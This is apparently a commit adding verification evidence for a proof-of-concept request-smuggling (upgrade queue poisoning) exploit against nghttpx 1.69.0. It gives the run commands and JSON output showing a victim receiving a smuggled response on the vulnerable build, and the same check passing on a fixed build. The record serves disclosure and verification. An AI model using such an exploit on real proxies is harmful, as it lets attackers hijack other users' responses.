Upload files to "nghttp2-nghttpx-upgrade-queue-poison-poc/evidence"

2026-06-29 16:52:02 +00:00
parent 3137561921
commit d7ab2fca7e
1 changed files with 56 additions and 0 deletions
@@ -0,0 +1,56 @@
 Local verification date: 2026-06-26
 Vulnerable target:
 nghttp2 v1.69.0
 nghttpx nghttp2/1.69.0
 release commit 68cb6900fde14c77f0cd7add0e094a862960eb99
 Command:
 python3 poc.py --nghttpx ./build-v1.69.0/src/nghttpx --cwd ./nghttp2-v1.69.0
 Output:
 {
  "attacker_body": "UPGRADE-REJECT",
  "victim_body": "SMUGGLED-BENIGN-PAYLOAD",
  "victim_received_poison": true,
  "victim_received_expected": false,
  "backend_connections": 2,
  "backend_requests": [
    [
      "GET /upgrade HTTP/1.1",
      "GET /poisoned HTTP/1.1",
      "GET /victim HTTP/1.1"
    ],
    []
  ],
  "nghttpx_returncode": -15
 }
 Fixed-control target:
 upstream master after ab28105c4a0197da24f8bfc414bc116055249e1e
 nghttpx nghttp2/1.69.90
 Command:
 python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed
 Output:
 {
  "attacker_body": "<!DOCTYPE html><html lang=\"en\"><title>400 Bad Request</title><body><h1>400 Bad Request</h1><footer>nghttpx</footer></body></html>",
  "victim_body": "VICTIM-RESPONSE",
  "victim_received_poison": false,
  "victim_received_expected": true,
  "backend_connections": 2,
  "backend_requests": [
    [
      "GET /victim HTTP/1.1"
    ],
    []
  ],
  "nghttpx_returncode": -15
 }